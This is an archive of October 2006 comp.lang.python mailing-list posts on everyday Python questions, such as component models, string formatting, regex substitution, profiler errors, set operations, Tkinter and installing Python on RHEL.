Message-ID: <1160481117.377844.82630@i3g2000cwc.googlegroups.com>

Edward Diener No Spam wrote:
> Michael wrote:
> > Edward Diener No Spam wrote:
> >
> >> Has there ever been, or is there presently anybody, in the Python
> >> developer community who sees the same need and is working toward that
> >> goal of a common component model in Python, blessed and encouraged by
> >> those who maintain the Python language and standard modules themselves ?
> >
> > Someone aiming towards a standard to /replace/ everyone else's? That
> > presupposes a level of arrogance that seems unusual in the python world.
> > (whilst everyone's proud of their own code and they _generally_ respect
> > other people's even if it's not their cup of tea).
>
> The reason I would like to see a standard component model for Python is
> so 3rd party developers could create their classes to conform to this
> model and work in any RAD IDE environment which adapts it. That's the
> way JavaBeans work, that the way Borland's VCL component model works,
> and that's the way .Net works. When there are many different component
> models, the 3rd party developer must adapt their components to each
> model for a particular environment.
>
> But far be it from me to want to replace everybody else's model <g>.

Well that's the thing you *do* want since you want the previous
paragraph ;-)
(Or at least a way to adapt component models.)

> By your reasoning above, standardizing anything in software is an
> arrogant proposition. Whereas I look at standardization, when it is well
> done, as a boon to programmers.

OK, maybe I was being a bit strong - I was merely thinking "lots of
people have something like this already, and I've not seen anyone push
their model as THE model", (even if lots of people like *their* model
:-)

However, I was also being a bit tongue in cheek, though I should have
said unreasonable, not arrogant:
   "...all progress depends on the unreasonable man." -- Bernard Shaw.

What could have some mileage though is proposing a standard way for
these component models to interoperate. What that would look like
(given the wildly different models :), is another matter and an
exercise for the interested reader ;-)

> > The WSGI standard could be a form of component model, and has gone through
> > the PEP process so that might match your criterion.
>
> I do not know what it is but I will look it up.

NB, I'm using component model in it's loosest form there.

> > As for component
> > models, they do exist.
> >
> > Our component model on the Kamaelia project [1] is one that's heavily
> > designed around the idea of composition and independent execution of
> > components and message passing (message passing maps to events for some
> > sorts of message),
> >    [1] http://kamaelia.sourceforge.net/Home
>
> I will look at kamaelia. Thanks !

You're welcome. Any deficiencies or improvements or suggestions you've
got would be very welcome (I can see some which we're planning on
addressing at some point, but fresh critical eyes are always welcome).

> > However, off the top of my head, you should also look at Zope's component
> > model, Trac's component model, Twisted's model & PEAK, and any proposal
> > to say "this is the solution", needs to be compelling for all of these
> > projects.
>
> A standard component model could be used as a base for other more
> advanced needs. Most of those mentioned above seem to involve web
> application frameworks whereas my idea of a component model just assumes
>   the paradigms of properties, methods, and events which may allow
> re-usable components at a base level in any environment.

They do, however in particular, Trac's model whilst web oriented
strikes me personally as interesting and PEAK's is applicable, as I
understand it, outside the web sphere. (Enthought was mentioned
elsewhere and is interesting (IMO) for the properties stuff)

If you're interested in event systems as well, it's probably worth
looking at the way a number of pygame applications are written since
there's an event model built into pygame that some pygame apps take
advantage of for custom events and some don't. It's a very different
problem realm to the web systems.

Twisted is worth looking at as well, since it's probably got one of the
more interesting approaches for dealing with essentially event based
systems I've seen.

> A particular implementation is certainly allowed to build a more
> complicated idea of a component, through inheritance, from a base level
> component, and this is in fact the way that most components work in
> current component model environments I have mentioned. For instance in
> .Net a control is a component with other added qualities. So while one
> could build components which are not controls, it is necessary to add
> functionality to the base level idea of a component in order to create a
> control.

You *may* also want to take a look at picolo as well then - but as far
as I'm
aware it's not actually *used* by anyone. It is in some respects more
like
the kind of component model you describe here. (I personally didn't
find much
useful about their proposal that goes beyond what python already
provides
you) However you might find that and some of the other things on the
following
link interesting: http://www2.lifl.fr/~marvie/software.html

It's worth bearing in mind though that your description above is one
approach
for component based design. A survey of different approaches which you
might find useful:

> Thanks for all the link regarding kamaelia.

Probably went a bit overboard there :)

However I do agree that a visual system is something important, since
not everyone thinks the same way. (I can talk about our system till the
cows come home, show people code, but when I show them the visual
builder, everyone seems to understand).

Regards,


Michael.
--
Michael Sparks, Kamaelia Dust Puppy
http://kamaelia.sf.net/
http://yeoldeclue.com/blog



From stephen at theboulets.net  Tue Oct  3 15:52:31 2006
From: stephen at theboulets.net (stephen at theboulets.net)
Date: 3 Oct 2006 12:52:31 -0700
Subject: Looping over a list question
References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>
	<mailman.1190.1159901843.10491.python-list@python.org>
Message-ID: <1159905151.490262.260000@h48g2000cwc.googlegroups.com>

Fredrik Lundh wrote:
[snip]
> probably.  but unless your editor or keyboard is horribly broken, you
> can of course press return at the right place instead:
>
>        for i in datafiles:
> 	  if '.txt' in i:
> 	      print 'Processing datafile %s' % f
>
> (for this specific case, "endswith" is more reliable than "in", btw)
>
> </F>

My "print" line is actually a long 40 line block. I guess I could just
do
  datafiles = [f for f in datafiles if f.endswith('.txt')]
and then loop over it.

mdsteele at gmail.com wrote:
> Yes, there has:
> http://groups.google.ca/group/comp.lang.python/browse_thread/thread/9...

Thanks for the link. I didn't know about str.startswith and
str.endswith, which I can see is very useful.

So, not a universally popular proposal. Interesting how different
programming 'phrasings' resonate with different people. For me, for
example, lambda causes my eyes to glaze over.

I do love list comprehensions though. I'd also love to see string
constants implemented some day too (like str.whitespace and
str.ascii_letters).

Stephen



From fer7msb02 at sneakemail.com  Fri Oct 27 04:28:28 2006
From: fer7msb02 at sneakemail.com (Yang)
Date: Fri, 27 Oct 2006 04:28:28 -0400
Subject: Assertion failure on hotshot.stats.load()
In-Reply-To: <31672-10273@sneakemail.com>
References: <31672-10273@sneakemail.com>
Message-ID: <26399-97155@sneakemail.com>

I fell back onto the old profile module, but got the following error
when trying to use zope.interface. I am now without any way to profile
my application.

Traceback (most recent call last):
  File "/home/yang/local/bin/profile.py", line 611, in ?
    run('execfile(%r)' % (sys.argv[0],), options.outfile, options.sort)
  File "/home/yang/local/bin/profile.py", line 72, in run
    prof = prof.run(statement)
  File "/home/yang/local/bin/profile.py", line 448, in run
    return self.runctx(cmd, dict, dict)
  File "/home/yang/local/bin/profile.py", line 454, in runctx
    exec cmd in globals, locals
  File "<string>", line 1, in ?
  File "/.automount/nms.lcs.mit.edu/export/home/yang/proj/cartel/trunk/icedb/src/frontend/icedb-central.py",
line 5, in ?
    from icedb import *
  File "/home/yang/local/lib/python2.4/site-packages/icedb/__init__.py",
line 4, in ?
    import cafnet
  File "/home/yang/local/lib/python2.4/site-packages/cafnet/__init__.py",
line 269, in ?
    class Cnl( object ):
  File "/opt/zope/lib/python/zope/interface/advice.py", line 132, in advise
    return callback(newClass)
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
485, in _implements_advice
    classImplements(cls, *interfaces)
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
462, in classImplements
    spec.declared += tuple(_normalizeargs(interfaces))
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
1373, in _normalizeargs
    _normalizeargs(v, output)
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
1372, in _normalizeargs
    for v in sequence:
TypeError: Error when calling the metaclass bases
    iteration over non-sequence

On 10/27/06, Yang fer7msb02-at-sneakemail.com |python|
<...> wrote:
> Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks
> several packages I depend on. I'm using Python 2.4.3.
>
> I'm getting an AssertionError on "assert not self._stack" when calling
> hotshot.stats.load() on my app's hotshot profile. The app consistently
> causes hotshot to generate such a problematic profile, but I have no
> idea what's causing it. Anybody know what's wrong?
>
> Here's the profile:
>
> http://www.filefactory.com/file/76fdbd/
>
> Potentially relevant bugs:
>
> http://sourceforge.net/tracker/index.php?func=detail&aid=900092&group_id=5470&atid=105470
> http://sourceforge.net/tracker/index.php?func=detail&aid=1019882&group_id=5470&atid=105470
>
> Thanks in advance for any help.
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From fredrik at pythonware.com  Wed Oct  4 10:55:28 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 16:55:28 +0200
Subject: sax barfs on unicode filenames
References: <WOOUg.61$iP5.19@newsfe07.lga> <4ohufoFem6rpU1@uni-berlin.de>
Message-ID: <eg0i10$f1u$1@sea.gmane.org>

Diez B. Roggisch wrote:

> Filenames are expected to be bytestrings. So what happens is that the
> unicode string you pass as filename gets implicitly converted using the
> default encoding.

it is ?

>>> f = open(u"\u8116", "w")
>>> f.write("hello")
>>> f.close()

>>> f = open(u"\u8116", "r")
>>> f.read()
'hello'

</F> 





From tim.golden at viacom-outdoor.co.uk  Thu Oct  5 06:41:18 2006
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Thu, 5 Oct 2006 11:41:18 +0100
Subject: Why do this?
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58E@UKEX01.Digica.local>
Message-ID: <CCAC78D42E32184F8E26DC163DB98306C1B4EA@vogbs009.gb.vo.local>

[Matthew Warren]

| Now, I started programming when I was 8 with BBC Basic.

Hey, likewise! (Except I was 12 when it came out!)

| I learned over the years to do things like the following, and I like
| doing it like this because of readability, something Python seems to
| focus on :-
| 
| Print "There are "+number+" ways to skin a "+furryanimal

perfectly sound Python code, as far as it goes, altho' obviously
"Print" is spelt "print" in Python, and if that number is in fact
a number it'll need to be str ()-ed first.

| But nowadays, I see things like this all over the place;
| 
| print("There are %s ways to skin a %s" % (number, furryanimal))

The outermost brackets are (at the moment) unnecessary in python,
altho' print is slated for replacement by a function in Python 3.0
at which point they'll be necessary.

number = 3
animal = "cat"
print "There are %d ways to skin a %s" % (number, animal)

| Now I understand there can be additional formatting benefits when
| dealing with numbers, decimal places etc.. But to me, for strings, the
| second case is much harder to read than the first.

I think what it comes down to is just what's most readable in the
situation in which you're using it. Imagine a rather longer
string, and one where <number> and <animal> are not short names,
but calls to some function. Sometimes, since %s will call __str__
on anything it's passed, it's a quick way to get a string representation
of a more complex object, which you'd otherwise have to str () at
least.

| I hope I'm not being dense.

Nothing dense about it. Very often a matter of taste and style.
Sometimes 
I find myself using string substitution where a simple string addition 
might suffice simply because of consistency, for example where it's 
surrounded by some more complex cases as described above, and I don't 
want to break the pattern simply because the case is simpler.

Also, for me, substitution often reads more naturally because you're 
not breaking the string up with lots of " + xxxx + "..." + yyy + "...  
stuff. Again, though, depends on what your code looks like, and how 
readable you find it. Certainly, I wouldn't advocate *pathologically* 
avoiding the "%s" % blah style, but it needn't always be the right
thing.

A typical example where it can become cumbersome is when you're
partially
reinventing a templating system with quite a long string, say of HTML,
and
quite a few substitutions right at the end. It may be easier to use the 
dictionary form of the substitution then, eg:

print """
Long string with %(valueA)s and %(valueB)s and %(valueC)s embedded in
it at some distance from the end...
...
""" % dict (valueA=1, valueB="blah", valueC=datetime.datetime.now ())

Obviously that dict would likely be defined elsewhere, or could even
be locals (). Once you get to this stage, though, you might want to 
start looking at templating toolkits like Cheetah, Genshi or any of
the many others knocking around.

TJG

________________________________________________________________________
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service is powered by MessageLabs. For more information on a proactive
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From __peter__ at web.de  Wed Oct  4 08:41:15 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Oct 2006 14:41:15 +0200
Subject: replacing all 'rng's in a buffer with consecutive r[1], r[2]'s
References: <mailman.1253.1159962380.10491.python-list@python.org>
Message-ID: <eg0a1u$paj$02$1@news.t-online.com>

m g william wrote:

> I read a file into a buffer and subject it to re.sub()
> I can replace every occurrence of a pattern with a fixed string but when
> I try to replace each occurrence with a string that changes (by having
> an incrementing number in it, (ie 'repTxt[1]','repTxt[2]'etc), I note
> that the incrementing number generator function, I'm calling in
> re.sub(), (which works fine outside it), seems to be evaluated only once
> and is therefore not incrementing the number.
> 
> Can someone please show me a working eg of how to replace 'rng' in a
> file with 'r[1]', 'r[2]' etc. This is my first Python program so any
> help would be very gratefully received.
> 
> buf = pat.subn('rng[' + static() + ']', buf, 0)

You'll have to repeat that to get the desired effect:

pat = re.compile("rng")
replacements = 1
while replacements:
    buf, replacements = pat.subn("r[" + static() + "]", buf, 1)
    print buf

but there is a more efficient alternative

def fsub(match):
    return "r[" + static() + "]"
buf = re.sub("rng", fsub, buf)

that would still work if you were to replace 'rng' with 'rng[1]',
'rng[2]'...

Peter


From martin at v.loewis.de  Tue Oct 24 15:24:41 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 21:24:41 +0200
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <mailman.1105.1161714147.11739.python-list@python.org>
References: <mailman.706.1161192807.11739.python-list@python.org>	<45386B4C.4020001@v.loewis.de>	<mailman.999.1161629807.11739.python-list@python.org>	<453d4821$0$22566$9b622d9e@news.freenet.de>	<mailman.1025.1161646957.11739.python-list@python.org>	<453DA645.2090009@v.loewis.de>	<mailman.1099.1161709658.11739.python-list@python.org>	<453E4C49.4000401@v.loewis.de>	<mailman.1102.1161712524.11739.python-list@python.org>	<453e56f2$0$30357$9b622d9e@news.freenet.de>
	<mailman.1105.1161714147.11739.python-list@python.org>
Message-ID: <453e6879$0$30408$9b622d9e@news.freenet.de>

Christopher Taylor schrieb:
>> The Linux distributions already provide Python binaries (I believe
>> Redhat does, too). You could study what they do to achieve that.
> 
> Yes, this is true ... but they do not package the most up-to-date
> version .. which I need.

Sure. However, I still think they have solved the problem already -
if just for older versions. The build procedure hasn't changed that
much, so the solution might be applicable to the version you want
as well.

Regards,
Martin


From http  Thu Oct 19 18:56:39 2006
From: http (Paul Rubin)
Date: 19 Oct 2006 15:56:39 -0700
Subject: Lead Software Engineer
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
	<mailman.792.1161297205.11739.python-list@python.org>
Message-ID: <7xzmbrlxso.fsf@ruckus.brouhaha.com>

Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:
> So you almost have to be Tim Berners-Lee to qualify... Who were
> developing "high volume web applications" on 1996?

Amazon.com was founded in 1995 and IPO'd in 1997, but yeah, things
were sparse back then.


From exogen at gmail.com  Wed Oct 25 22:06:52 2006
From: exogen at gmail.com (Brian Beck)
Date: Wed, 25 Oct 2006 22:06:52 -0400
Subject: Dealing with multiple sets
References: <1161821282.846050.184360@e3g2000cwe.googlegroups.com>
Message-ID: <ehp565$4ok$1@eeyore.INS.cwru.edu>

John Henry wrote:
> What's the cleanest way to say:
> 
> 1) Give me a list of the items that are in all of the sets? (3 in the
> above example)
> 2) Give me a list of the items that are not in all of the sets? (1,2 in
> the above example)
> 
> Thanks,

If you have an arbitrary list of sets, reduce comes in handy:

See this recipe:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/476215

py> sets = [set((1, 2, 3)), set((2, 3)), set((1, 3))]
py> reduce(set.intersection, sets)
set([3])

py> reduce(set.union, sets)
set([1, 2, 3])

py> reduce(set.union, sets) - reduce(set.intersection, sets)
set([1, 2])

--
Brian Beck
Adventurer of the First Order


From jahakala at iki.fi  Sat Oct 21 13:21:36 2006
From: jahakala at iki.fi (Jani Hakala)
Date: Sat, 21 Oct 2006 20:21:36 +0300
Subject: Tkinter--does anyone use it for sophisticated GUI development?
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <877iytk2jj.fsf@pingviini.kortex.jyu.fi>

Kevin Walzer <kw at kevin-walzer.com> writes:

> For instance, I've developed several Tcl
> applications that use the core Tk widgets, the Tile theming package, the
> Bwidget set (great tree widget and listbox, which allows you to embed
> images), and tablelist (an extremely flexible muti-column listbox
> display). 
> 
I tried to look for a python-library when I started using
tablelist. The only link I found was quite dead.

I spent a day or two while learning how to do a minimal (i.e. only
those methods that I have needed) implementation from scratch :(
It seems to work quite well for my purposes.

> I've found Python wrappers for some of this stuff, but almost
> no documentation on how to use them
>
Is there sufficient documentation for the Tcl/Tk libraries that the
wrappers have been coded for? At least with Tkinter and Tix it is
usually quite obvious what is the corresponding python method if you
know the Tcl/Tk counterpart.

Jani Hakala


From MonkeeSage at gmail.com  Wed Oct  4 11:49:48 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 4 Oct 2006 08:49:48 -0700
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
Message-ID: <1159976988.042413.148230@k70g2000cwa.googlegroups.com>

Jorgen Grahn wrote:
> - infinite xrange()s

Fun. How about in-memory objects which use no memory, and
self-referential anonymous functions, and object states without
objects...

Regards,
Jordan



From georgeryoung at gmail.com  Tue Oct 17 15:25:46 2006
From: georgeryoung at gmail.com (georgeryoung at gmail.com)
Date: 17 Oct 2006 12:25:46 -0700
Subject: why should dict not be callable?
Message-ID: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>

A couple of times recently I've come across this problem:  I have a
large list to sort and I need to the the "key=function" argument to
sort appropriately.  But I actually have the key mapping in a big
dictionary.  Now I have to make an intermediary function:

def key_fn(key):
   return key_dict[key]

If a dict were callable directly, this would be unnecessary.  Often the
small extra complexity and compute time is not important, but in
sorting a large list, it could be a significant difference.  Is there
some reason a subscriptable thing like a dict should *not* be callable?
 

-- George [nitpicking...]



From me at jonbowlas.com  Mon Oct 16 09:50:55 2006
From: me at jonbowlas.com (Jonathan Bowlas)
Date: Mon, 16 Oct 2006 14:50:55 +0100
Subject: Convert StringIO to string
Message-ID: <022f01c6f12a$1a047ce0$fde92452@bowlas>

Ok, I think I'm explaining this badly because I've used getvalue() in the
script I originally submitted to the list, see below:

 

from StringIO import StringIO

 

def generator_file(rsspath,titleintro,tickeropt): 

      scripter=StringIO()

      scripter.write('<script type="text/javascript">\n')

      scripter.write('new rss_ticker(%s, %s, %s)\n' % (rsspath, titleintro,
tickeropt))

      scripter.write('</script>\n')

      return scripter.getvalue()

 

 

The problem is this script returns the following:

 

&lt;script type="text/javascript"&gt;

new rss_ticker(www.bbc.co.uk, True, True) &lt;/script&gt;

 

And I want to replace the &lt; and &gt; characters for < or > so it actually
renders correctly in a browser so I'm returned this:

 

<script type="text/javascript">

new rss_ticker(www.bbc.co.uk, True, True) </script>

 

So what am I doing wrong?

 

J

 

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From jstroud at mbi.ucla.edu  Thu Oct 19 15:52:40 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Thu, 19 Oct 2006 19:52:40 GMT
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.781.1161285358.11739.python-list@python.org>
References: <eh8708$nc7$1@solaris.cc.vt.edu>	<7iNZg.117$1n3.3352@news.tufts.edu>	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
	<mailman.781.1161285358.11739.python-list@python.org>
Message-ID: <cIQZg.12481$TV3.1423@newssvr21.news.prodigy.com>

Fredrik Lundh wrote:
> James Stroud wrote:
> 
>  > without requiring an iterator
> 
> can we perhaps invent some more arbitrary constraints while we're at it?
> 
> </F>
> 

Why does it seem to me that you are confusing convienience with 
constraint, or are the two equivalent?

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From fredrik at pythonware.com  Wed Oct 18 10:36:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 16:36:38 +0200
Subject: Python RPM package arch compatability
References: <2590773a0610180721l7fdd7688i5d67b3c16201f44a@mail.gmail.com>
Message-ID: <eh5e5n$hf4$1@sea.gmane.org>

Christopher Taylor wrote:

> A quick question if I may.  I'm running RHEL 4 on a x86_64 and I'm
> curious if any of the packages at
> http://www.python.org/download/releases/2.4/rpms/ would suite my
> setup.
>
> If they don't can I simply build from source and not overwrite
> /usr/bin/Python (for the same reasons as listed at the above mentioned
> webpage)?

if you use "make altinstall" instead of "make install", the installation process will
only install a pythonX.Y binary (e.g. python2.5).

</F> 





From fredrik at pythonware.com  Tue Oct 31 13:57:05 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 19:57:05 +0100
Subject: Why can't you assign to a list in a loop without enumerate?
In-Reply-To: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
Message-ID: <ei86a0$85d$1@sea.gmane.org>

Danny Colligan wrote:

> My question is, what was the motivation for returning a deep copy of
> the value at the ith index inside a for loop instead of the value
> itself? 

I'm not sure the words "deep copy" and "value" really means what you 
think they do.  maybe you should spend a little time with Python's 
documentation, instead of making up absurd theories about how things 
might work, only to get disappointed every time reality disagrees.

> Also, is there any way to assign to a list in a for loop (with
> as little code as used above) without using enumerate?

what's wrong with using enumerate?  or a list comprehension?  or some 
other of the many different ways you can use to build a list from a set 
of values?

</F>



From sjmachin at lexicon.net  Wed Oct  4 11:13:29 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 08:13:29 -0700
Subject: PEP 358 and operations on bytes
In-Reply-To: <mailman.1269.1159973760.10491.python-list@python.org>
References: <mailman.1197.1159906581.10491.python-list@python.org>
	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>
	<mailman.1269.1159973760.10491.python-list@python.org>
Message-ID: <1159974809.492898.253490@i42g2000cwa.googlegroups.com>


Gerrit Holl wrote:
> On 2006-10-04 05:10:32 +0200, John Machin wrote:
> > >     - str methods endswith, find, partition, replace, split(lines),
> > >       startswith,
> > >     - Regular expressions
> > >
> > > I think those can be useful on a bytes type. Perhaps bytes and str could
> > > share a common parent class? They certainly share a lot of properties
> > > and possible operations one might want to perform.
> > >
> >
> > I look at it this way::
> > Processing text? Use unicode.
> > Binary structures and file I/O, interfacing to 8-bit-wide channels? Use
> > bytes.
>
> But can I use regular expressions on bytes?
> Regular expressions are not limited to text.

So why haven't you been campaigning for regular expression support for
sequences of int, and for various array.array subtypes?



From fulvio at tm.net.my  Sat Oct 21 06:14:58 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sat, 21 Oct 2006 18:14:58 +0800
Subject: Pygtk but no gtk?
In-Reply-To: <45391D15.3010906@rpath.com>
References: <1161370274.621757.299970@m73g2000cwd.googlegroups.com>
	<45391D15.3010906@rpath.com>
Message-ID: <200610211814.58662.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Saturday 21 October 2006 03:01, Jonathan Smith wrote:
> my pygtk provides
> /usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.py, which contains
> the gtk module

Great advice. I've tried >:
$ ls /usr/lib/python2.4/site-packages/gtk-2.0
atk.so  dsextras.py  dsextras.pyc  dsextras.pyo  gobject.so  gtk  
pangocairo.so  pango.so

So, I found some problem related this, would you please post the content of 
that file?

NOTE there's one more directory in that position and has its own __init__.

F




From exarkun at divmod.com  Thu Oct 19 13:21:44 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Thu, 19 Oct 2006 13:21:44 -0400
Subject: Converting existing module/objects to threads
In-Reply-To: <7.0.1.0.0.20061019134634.05a3eac8@yahoo.com.ar>
Message-ID: <20061019172144.26151.483656110.divmod.quotient.7147@ohm>

On Thu, 19 Oct 2006 14:09:11 -0300, Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
>At Thursday 19/10/2006 00:01, jdlists at gmail.com wrote:
>> > Consider using the asyncore module instead of threads.
>>
>>I think that is a good point and I am considering using
>>asyncore/asynchat...  i'm a little confused as to how i can make this
>>model work.  There is no server communication without connection from
>>the client (me), which happens on intervals, not when data is available
>>on a socket or when the socket is available to be written, which is
>>always.  Basically i need to determine how to trigger the asynchat
>>process based on time.  in another application that i write, i'm the
>>server and the chat process happens every time the client wakes
>>up...easy and perfect for asyncore
>>
>>That is a solution i'd like to persue, but am having a hard time
>>getting my head around that as well.
>
>You have to write your own dispatcher (inheriting from async_chat) as any 
>other protocol. You can call asyncore.loop whith count=1 (or 10, but not 
>None, so it returns after a few iterations) inside your *own* loop. Inside 
>your loop, when time comes, call your_dispatcher.push(data) so the channel 
>gets data to be sent. Override collect_incoming_data() to get the response.
>You can keep your pending requests in a priority queue (sorted by time) and 
>check the current time against the top element's time.

You could also use Twisted, which provides time-based primitives in addition
to supporting network multiplexing without threads.

Jean-Paul


From daniel.huangfei at gmail.com  Fri Oct 13 02:25:58 2006
From: daniel.huangfei at gmail.com (daniel)
Date: 12 Oct 2006 23:25:58 -0700
Subject: always raise syntax error!
Message-ID: <1160720758.730483.56680@i42g2000cwa.googlegroups.com>

I'm not quite new to this language, but such error has never happened
so frequently before. I have no idea what to do about it, because
there's actually no syntax error at all !!

I'm using python 2.4.3 on windows, with gvim..
I realize this might because of the tab and space, so I use listchars
in vim to all my tabs and trailing spaces visible, make sure they are
used consistently, but python still raise syntax error, no further
description, and just make no sense to me.

anyone heard of such issue or the like before?
many thanks....

daniel



From horpner at yahoo.com  Mon Oct 16 11:09:24 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 16 Oct 2006 17:09:24 +0200
Subject: Strange Behavior
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
	<pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
Message-ID: <slrnej786q.nc.horpner@FIAD06.norwich.edu>

On 2006-10-16, Steven D'Aprano
<steve at REMOVE.THIS.cybersource.com.au> wrote:
> Well, it's a bug in your code :)
>
> It isn't a bug in Python. At worst, it is a "gotcha", but it is
> a deliberate design decision, and quite useful. For example,
> this is good for caching complicated calculations:

I'd say the feature is "usable" rather than "useful", like
bitfields in C.

-- 
Neil Cerutti
Next Sunday Mrs. Vinson will be soloist for the morning service.
The pastor will then speak on "It's a Terrible Experience."
--Church Bulletin Blooper 


From ptmcg at austin.rr._bogus_.com  Sun Oct  1 22:05:03 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Mon, 02 Oct 2006 02:05:03 GMT
Subject: changing numbers to spellings
References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com>
	<mailman.1026.1159679410.10491.python-list@python.org>
Message-ID: <jt_Tg.1333$5o5.1244@tornado.texas.rr.com>

"Steve Holden" <steve at holdenweb.com> wrote in message 
news:mailman.1026.1159679410.10491.python-list at python.org...
> flyingisfun1217 at gmail.com wrote:
>> Hey,
>>
>> Sorry to bother everybody again, but this group seems to have quite a
>> few knowledgeable people perusing it.
>>
>> Here's my most recent problem: For a small project I am doing, I need
>> to change numbers into letters, for example, a person typing in the
>> number '3', and getting the output 'Three'. So far, I have an interface
>> that only collects numbers (or letters), and displays them in a text
>> variable label (as you can see below). Heres the code I have:
>>
>> +--------------------------------+-----------------------------------+
>>
>> var=StringVar()
>>
>> def collect():
>>      var.set(entrybox.get())
>>
>> spelledentry=Label(root, textvariable=var)
>> spelledentry.grid(row=5, column=1)
>>
>> filler1=Label(root, text="                    ")
>> filler1.grid(row=0, column=0)
>>
>> titletext=Label(root, text="NumberSpeller2")
>> titletext.grid(row=0, column=1)
>>
>> filler2=Label(root, text="                    ")
>> filler2.grid(row=0, column=2)
>>
>> filler3=Label(root, text="\n")
>> filler3.grid(row=1, column=0)
>>
>> entrybox=Entry(root)
>> entrybox.grid(row=1, column=1, sticky=N)
>>
>> enterbutton=Button(root, text="Spell!", command=collect)
>> enterbutton.grid(row=3, column=1, sticky=N)
>>
>> filler4=Label(root, text="")
>> filler4.grid(row=4, column=1)
>>
>> filler5=Label(root, text="")
>> filler5.grid(row=6, column=1)
>>
>> website=Label(root, text="Visit the NS2 Website")
>> website.grid(row=7, column=1, sticky=S)
>>
>> +-------------------------------------+----------------------------------------+
>>
>> Like I explained a little before, I need to keep users from entering
>> any letters, and I need to have the numbers they typed in translated to
>> text.
>>
>> Can someone explain how I could go across doing this?
>>
> You should get some clue about the number conversion (not to menion a 
> bunch of code you can lift :) from
>
>     http://www.python.org/pycon/dc2004/papers/42/ex1-C/num2eng.py
>
> regards
>  Steve
> -- 
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden
>

... and pyparsing has an example that goes from words back to numbers!
http://pyparsing.wikispaces.com/space/showimage/wordsToNum.py

-- Paul




From sjmachin at lexicon.net  Sat Oct  7 09:13:54 2006
From: sjmachin at lexicon.net (John Machin)
Date: 7 Oct 2006 06:13:54 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <1160226305.351361.179110@h48g2000cwc.googlegroups.com>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160226305.351361.179110@h48g2000cwc.googlegroups.com>
Message-ID: <1160226834.146605.233730@i3g2000cwc.googlegroups.com>


John Roth wrote:
> Aahz wrote:
> > The following line of lightly munged code was found in a publicly
> > available Python library...
> >
> >     if schema.elements.has_key(key) is False:
> >
> > Sorry, just had to vent.
> > --
> > Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/
>
> Uh, guys. IMO, the clearest way of writing this is:
>
> if key not in schema.elements:
>     whatever...
>

Uh, guys, what? You are the 3rd to make that point. Therefore it must
be true.

> Unless, of course, your code has to run in a
> Python release earlier than 2.2. But then you
> wouldn't be testing for the False object anyway.
> 
> 
> 
> John Roth



From onurb at xiludom.gro  Wed Oct 25 11:59:10 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 17:59:10 +0200
Subject: class method question
In-Reply-To: <ehnu1i$9g3$1@trompette.imag.fr>
References: <ehnu1i$9g3$1@trompette.imag.fr>
Message-ID: <453f89cf$0$23953$426a74cc@news.free.fr>

Sylvain Ferriol wrote:
> hello
> can you explain why python does not see difference between instance
> method and class method, having the same name

Because class namespaces are dicts, and you can't have duplicate keys in
dicts. It's totally unrelated to class/instance method distinction (try
with any kind of attribute, you'll get the same result : only the last
attribute is kept).

> example
>>>> class toto(object):
> ...     def f(self):
> ...             print('instance method')
>
> ...     @classmethod
> ...     def f(cls):
> ...             print('class method')


>>>> t=toto()
>>>> t.f
> <bound method type.f of <class '__main__.toto'>>
>>>> t.f()
> class method
>>>> toto.f()
> class method

Also note that Python classmethods can be called on instances. Here
you're calling the same function twice.

A python object is a data structure holding references to other objects.
